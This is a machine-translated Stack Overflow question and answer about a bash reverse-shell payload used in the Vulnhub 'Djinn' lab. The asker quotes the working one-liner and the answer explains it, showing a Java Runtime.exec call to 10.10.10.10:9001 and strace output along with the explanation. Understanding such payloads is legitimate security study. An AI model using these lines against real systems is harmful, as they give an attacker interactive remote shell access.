当我试图反转外壳时,我发现了这个有效载荷。
bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1在https://www.revshells.com/部分java。
我理解bash -i >& /dev/tcp/$IP/$PORT 0>&1,但没有弄清楚bash命令的其余部分是做什么的。
这是一个名叫Djinn的Vulnhub实验室,我已经测试过了。我已经使用python、nc、php尝试了https://revshells.com上的其他有效负载,但唯一有效的方法是上面的bash命令。
这是我的受害者信息
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux djinn 4.15.0-66-泛型
GNU,版本4.4.20(1)-release (x86_64-pc-linux-gnu)
对不起,我不能嵌入图片到帖子中。
发布于 2021-05-27 14:54:06
P= Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.10/9001 0>&1");
有趣的事实:Runtime.getRuntime().exec做而不是展开$@,不做 intepret >&。您可以在strace输出中看到:
$ strace -ff java shell |& grep bash
execve("/usr/bin/bash", ["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "/dev/tcp/10.10.10.10/9001", "0>&1"]...语法是(请参阅man bash):
bash -c <script_to_run> <assign to $0> <assign to $1> <$2> <$3 so on>...所以看起来:
bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - arguments from $0
^^^^^^^ - script to run 0被分配给$0,echo分配给$1,等等。
然后bash -c执行脚本$@ | bash。第一个$0参数被展开(参见man bash)到来自1的参数列表,因此$@扩展到echo bash -i >& /dev/tcp/$IP/$PORT 0>&1 (注意:>&是而不是解释的,这里是字符串)。
echo bash -i '>&' '/dev/tcp/$IP/$PORT' '0>&1' | bash然后执行echo ... | bash,|是管道,echo输出bash -i >& /dev/tcp/$IP/$PORT 0>&1。在|的右侧,bash监听要执行的命令,因此它将执行bash -i >& /dev/tcp/$IP/$PORT 0>&1,因为这是来自echo的输出。
bash -i >& /dev/tcp/$IP/$PORT 0>&1现在,右边的| bash将>& 0>&1解释为重定向。外壳将产生另一个带有-i参数的-i。将生成一个交互式bash,将>& stderr和stdout重定向到/dev/tcp/$IP/$PORT,然后0>&1字符串也连接到/dev/tcp/$IP/$PORT。/dev/tcp/$IP/$PORT是一种特殊的(内置的?)允许bash从网络位置发送/接收的文件--即。从/dev/tcp/$IP/$PORT写入或读取就像与远程主机进行通信一样。
https://stackoverflow.com/questions/67724055
复制相似问题